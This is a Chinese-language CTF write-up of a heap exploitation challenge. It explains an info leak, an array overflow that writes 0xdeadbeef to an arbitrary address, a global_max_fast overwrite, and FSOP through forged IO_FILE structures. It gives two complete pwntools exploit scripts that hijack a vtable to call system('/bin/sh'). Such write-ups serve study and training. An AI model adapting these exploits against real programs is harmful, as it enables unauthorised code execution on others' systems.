题确实不难,但确实比赛没写出来,可惜差了一点,要是再给半个小时或者一个小时应该就出了,最后卡在一个奇奇怪怪的点(就是 global_max_fast
为了避免写进去 0xdeadbeef
有点大,就用了 global_max_fast - 1
这个地址写入的,结果不知道为啥后面 free
掉堆块后,里面的数据直接没了)浪费了很多时间
保护策略:
漏洞分析:
这里可以泄露程序基地址,但是在这道题里没有什么用。
在 add
函数中,向堆块里写入数据的时候,没有用 \x00
来截断,同时可以 malloc
的 size
范围比较大,可以让堆块进入 large bin
中,因此这里的漏洞可以泄露 libc
和 heap
地址。
在 edit
函数中存在数组溢出,此处的 buf
数组为 __int64
的类型(八字节),所以 buf
的数组实际只有 0x20
个字节,因此可以溢出八个字节控制 v2
,而 *v2=0xdeadbeef
就相当于任意地址(因为 v2
可控)写入一个 0xdeadbeef
。
利用思路:
很明显 0xdeadbeef
本身没有任何意义,因此考虑这里是让我们改大某处地址里存放的数据,首先想到的就是更改 global max fast
为 0xdeadbeef
,这样就可以在任意一个 libc
地址里写入一个 heap
地址。而此处比赛的时候想到的攻击是劫持 vtable
或者劫持 IO_FILE
,不过想了一会发现还是只能劫持 IO_FILE
(应该是没法控制 flags
字段的)
然后打 FSOP
,这里有两种思路,第一个是伪造两次 IO_FILE
,让第一个伪造的 IO_FILE
的_chain
字段指向第二个 IO_FILE
,因为当时考虑的是第一个 IO_FILE
的 flags
字段没法控制,于是还得再伪造一个 IO_FILE
(但事实是,这里的 flags
可以控制的)
方法一:
这里说一下伪造两个 IO_FILE
需要伪造的字段。
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF;
|
在第一个结构体中,我们不希望执行 _IO_OVERFLOW
因此,要让前面的检查不通过。而前面的条件又由一个 ||
连接,因此需要第一个条件和第二个条件全部不成立才可以。
这里伪造的字段为 fp->_mode == 0
fp->_IO_write_ptr== fp->_IO_write_base==0
这样前后两个条件全部无法成立,自然无法调用 _IO_OVERFLOW
在伪造字段绕过 if
的同时,不要忘记设置好 _chain
字段,让其指向第二个结构体。
在第二个结构体中,我们希望执行 _IO_OVERFLOW
,因此要将 fp->_mode == 0
fp->_IO_write_ptr ==1
fp->_IO_write_base == 0
,这样即可触发 _IO_OVERFLOW
。在这之前只需要伪造好第二个结构体的 flags
字段和 vtable
中的 overflow
让其指向 system
的地址即可获取 shell
方法二:
第二个方法就是只伪造第一个结构体,因为我们是可以控制 vtable
的,而作为参数的 flags
字段位于堆块的 prev_size
上,在上一个堆块处于使用状态时, prev_size
是作为上一个堆块的用户区域,所以这个字段也是可控的,只需要让上一个堆块申请为 size
以 8
结尾的即可。最后用 /bin/sh\x00
填满堆块,从而控制了结构体中的 flags
字段。别忘记伪造字段来触发 _IO_OVERFLOW
这里简单说一下篡改 global_max_fast
,最终效果是可以在一个高于 fastbinY
的地址处写一个堆地址(这个的攻击本质就是数组溢出,后续利用通常是攻击IO),但还有一个条件是对申请的堆块的 size
不能限制的太小,如果索引太小的话无法修改到我们期望的目的地址。然后利用过程是先申请一个精心构造好 size
的堆块,接着篡改 global_max_fast
(这里顺序不要弄反),再将刚刚申请的堆块释放,即可触发攻击,向一个 libc
地址中写入刚刚申请的堆地址。
该手法利用的关键在于 size
如何计算 具体的话请参考 我的这篇文章
EXP
这里俩exp都放一下吧,整体思路都差不多其实。下面这个是伪造一个结构体的exp
tools源码
from tools import * context.log_level='debug' context.arch='amd64' p,e,libc=load("a")
d_a=0xDC1 d_d=0xdd9 d_e=0xDCD
def add(length,content): p.sendlineafter("4.exit\n",str(1)) p.sendlineafter("Content length:\n",str(length)) p.sendafter("ontent:\n",content)
def edit(content): p.sendlineafter("4.exit\n",str(2)) p.sendlineafter("Comment:\n",content)
def delete(index): p.sendlineafter("4.exit\n",str(3)) p.sendlineafter("Content id:",str(index))
add(0x100,'a') add(0x500,'a') add(0x108,'a')
delete(0) add(0x100,'b'*8) libc_base=recv_libc()-0x3c4b78 log_addr('libc_base')
delete(1) add(0x1008,'/bin/sh\x00'*int(0x1008/8)) add(0x100,p64(0xdeadbeefdeadbeef)*2+b'a'*8) p.recvuntil(b'a'*8) heap_addr=u64(p.recv(6).ljust(8,b'\x00')) log_addr('heap_addr')
fastbin_ptr=libc_base+0x3c4b28 global_max_fast=libc_base+0x3c67f8 sys_addr=libc_base+libc.symbols['system'] chain=libc_base+0x3c5688 vtable_addr=libc_base+0x3c56f8
delete(1) add(0x1000,'a') index=(chain-8-fastbin_ptr)/8 size=index*0x10+0x20 log_info(hex(int(size)))
add(int(size),p64(0)*3+p64(1)+p64(0)*7+p64(0)+p64(0)*13+p64(heap_addr+0x1710)+p64 (sys_addr)*4) edit(b'a'*0x20+p64(global_max_fast)) debug(p,'pie',d_a,d_d,d_e,0xCF1,0xDE5) delete(4) p.sendlineafter("4.exit\n",str(4)) p.interactive()
|
下面这个exp是俩结构体的,比赛的时候写的是这个,代码比较烂
from tools import * context.log_level='debug' context.arch='amd64' p,e,libc=load("a")
d_a=0xDC1 d_d=0xdd9 d_e=0xDCD
def add(length,content): p.sendlineafter("4.exit\n",str(1)) p.sendlineafter("Content length:\n",str(length)) p.sendafter("ontent:\n",content)
def edit(content): p.sendlineafter("4.exit\n",str(2)) p.sendlineafter("Comment:\n",content)
def delete(index): p.sendlineafter("4.exit\n",str(3)) p.sendlineafter("Content id:",str(index))
add(0x100,'a') add(0x500,'u') add(0x100,'a') delete(0)
add(0x100,'b'*8)
libc_base=recv_libc()-0x3c4b78 log_addr('libc_base')
delete(1)
add(0x1000,'a') add(0x100,p64(0xdeadbeefdeadbeef)*2+b'a'*8) p.recvuntil(b'a'*8) heap_addr=u64(p.recv(6).ljust(8,b'\x00')) log_addr('heap_addr') fastbin_ptr=libc_base+0x3c4b28 global_max_fast=libc_base+0x3c67f8
delete(1) sys_addr=libc_base+libc.symbols['system'] file=FileStructure() file.flags=b'/bin/sh\x00' file.vtable=heap_addr+0x620+0x10+0xe0 file._IO_write_ptr=1 file._IO_save_base=libc.symbols['system']+libc_base add(0x1000,bytes(file)+p64(sys_addr)*0x10)
chain=libc_base+0x3c5688 vtable_addr=libc_base+0x3c56f8 index=(chain-8-fastbin_ptr)/8 size=index*0x10+0x20
add(int(size),p64(0)*3+p64(0)+p64(0)*7+p64(heap_addr+0x620+0x10)+p64(0)*10+p32(0)) edit(b'a'*0x20+p64(global_max_fast)) debug(p,'pie',d_a,d_d,d_e,0xCF1,0xDE5) delete(4) p.sendlineafter("4.exit\n",str(4)) p.interactive()
|
比赛结束,环境直接关闭了,也没法打远程,就自己打了下本地。